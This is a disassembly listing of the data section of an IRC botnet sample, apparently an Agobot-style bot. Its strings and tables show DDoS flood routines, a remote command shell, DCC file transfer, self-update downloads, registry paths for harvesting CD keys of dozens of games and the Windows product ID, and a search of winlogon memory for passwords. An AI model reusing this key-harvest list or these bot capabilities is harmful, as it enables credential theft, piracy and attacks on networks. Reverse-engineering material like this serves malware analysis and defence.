		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B4C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D74	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436164	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436178	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_4361B0	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_4361C4	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361D8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361F4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_436224	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436230	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 4373B4h, 4373A8h,	437398h, 2 dup(0)
		dd 80000001h, 437378h, 437374h,	437360h, 2 dup(0)
		dd 80000001h, 43733Ch, 437374h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437304h,	4372F0h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372CCh,	4372B0h, 2 dup(0)
		dd 80000001h, 43726Ch, 4373F4h,	437258h, 2 dup(0)
		dd 80000002h, 43722Ch, 437220h,	437200h, 2 dup(0)
		dd 80000002h, 4371CCh, 4373F4h,	4371B4h, 2 dup(0)
		dd 80000002h, 437180h, 4373F4h,	437168h, 2 dup(0)
		dd 80000002h, 437150h, 4373F4h,	437138h, 2 dup(0)
		dd 80000002h, 4370FCh, 43D158h,	4370ECh, 2 dup(0)
		dd 80000002h, 4370B4h, 43D158h,	4370A0h, 2 dup(0)
		dd 80000002h, 437054h, 43D158h,	437034h, 2 dup(0)
		dd 80000002h, 436FE4h, 43D158h,	436FB8h, 2 dup(0)
		dd 80000002h, 436F7Ch, 43D158h,	436F68h, 2 dup(0)
		dd 80000002h, 436F30h, 43D158h,	436F20h, 2 dup(0)
		dd 80000002h, 436ED0h, 43D158h,	436EA4h, 2 dup(0)
		dd 80000002h, 436E64h, 43D158h,	436E48h, 2 dup(0)
		dd 80000002h, 436E18h, 43D158h,	436DF8h, 2 dup(0)
		dd 80000002h, 436DBCh, 43D158h,	436DA8h, 2 dup(0)
		dd 80000002h, 436D60h, 43D158h,	436D40h, 2 dup(0)
		dd 80000002h, 436CECh, 43D158h,	436CBCh, 2 dup(0)
		dd 80000002h, 436C6Ch, 43D158h,	436C40h, 2 dup(0)
		dd 80000002h, 436C00h, 436BF8h,	436BD8h, 2 dup(0)
		dd 80000002h, 436B94h, 43D158h,	436B78h, 2 dup(0)
		dd 80000002h, 436B2Ch, 43D158h,	436B08h, 2 dup(0)
		dd 80000002h, 436AD4h, 43D158h,	436AC8h, 2 dup(0)
		dd 80000002h, 436A94h, 43D158h,	436A88h, 2 dup(0)
		dd 80000002h, 436A54h, 43D158h,	436A48h, 2 dup(0)
		dd 80000002h, 436A14h, 43D158h,	436A08h, 2 dup(0)
		dd 80000002h, 4369CCh, 43D158h,	4369B8h, 2 dup(0)
		dd 80000002h, 43697Ch, 43D158h,	436968h, 2 dup(0)
		dd 80000002h, 436938h, 4373F4h,	43691Ch, 2 dup(0)
		dd 80000002h, 4368FCh, 4368F4h,	4368D0h, 2 dup(0)
		dd 80000002h, 4368B4h, 4368F4h,	436894h, 2 dup(0)
		dd 80000002h, 436874h, 4368F4h,	436850h, 2 dup(0)
		dd 80000002h, 436838h, 4368F4h,	436834h, 2 dup(0)
		dd 80000002h, 436818h, 436808h,	436800h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_4367CC[eax], al
		dec	esp
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aHiddenDangerou ; "Hidden & Dangerous	2"
		align 10h
		dd 80000002h, 436778h, 43676Ch,	436744h, 436734h, 436720h
		dd 80000002h, 4366FCh, 4366F0h,	4366DCh, 4366CCh, 4366C4h
		dd 80000002h, 4366FCh, 4366F0h,	436698h, 4366CCh, 436690h
		dd 80000002h, 4366FCh, 4366F0h,	436660h, 4366CCh, 436658h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0 ; DATA XREF: ___:004365D4o
		align 4
byte_4367CC	db 53h			; DATA XREF: ___:004365CAw
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset aQTj		; "QÃâj"
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0043622Co
aCdkey		db 'CDKey',0            ; DATA XREF: ___:00436228o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_436224o
		align 4
asc_437424:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437428	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_4374A4	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_4374C8	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374E0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43750C	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437530	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437548	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437560	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437580	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4375A4	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_4375C8	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375F4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437614	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437674	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4376A0	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376D4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_437718	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437734	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437794	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_4377C0	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377E8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_437810	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437860	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437864	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437878	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4378B4	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437960	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437994	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_4379C0	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379F8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A54	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A6C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
